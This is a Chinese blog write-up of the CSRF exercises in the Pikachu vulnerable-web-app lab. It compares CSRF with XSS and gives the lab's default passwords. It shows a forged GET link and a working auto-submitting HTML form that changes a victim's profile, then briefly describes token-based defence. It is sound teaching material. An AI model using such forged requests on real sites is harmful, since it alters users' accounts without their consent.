pikachu——CSRF

概述:

CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造,在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接)。

然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了

CSRF攻击的条件:

1.目标网站没有对修改个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造

2.lucy点击伪造的请求链接时有登录状态(已经登陆了目标网站),如果lucy没有登录,那么即便lucy点击了链接也没有作用

CSRF与XSS区别:

CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。

XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。

 

CSRF(get):

我们点一下提示发现,账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456

 

  登录成功后可以来到个人中心,可以在这修改个人信息

 

 

 修改一下个人信息并提交,我们来到burp抓包,修改个人信息的请求内容,我们改一下地址。

从提交的请求来看,后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,修改一下,然后让lili点击就好,我们构造的URL中把地址add改为bd。lili一点击就修改了地址。

 

  http://192.168.35.132/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=bd&email=lili%40pikachu.com&submit=submit

 

 

 这个实际上满足条件比较严苛,比如lucy必须是登陆状态,而且防范意识较低

 

 

CSRF(post):

POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。

 

 这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。

编写个post.html页面,代码如下

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.35.132/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="18656565545" /> <input id="add" type="text" name="add" value="hebei" /> <input id="email" type="text" name="email" value="lili@pikachu.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>

然后我直接就把他放在了pikachu的目录下了,

 

然后诱骗受害者点击链接:http://192.168.35.132/pikachu/post.html,就会自动往服务器发送POST请求,修改地址信息

 

CSRF(token):

跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。

CSRF的主要问题是敏感操作容易被伪造,以加入Token让请求不容易被伪造,

每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证。

 

posted @ 2020-03-19 23:52  戚源  阅读(485)  评论(0编辑  收藏  举报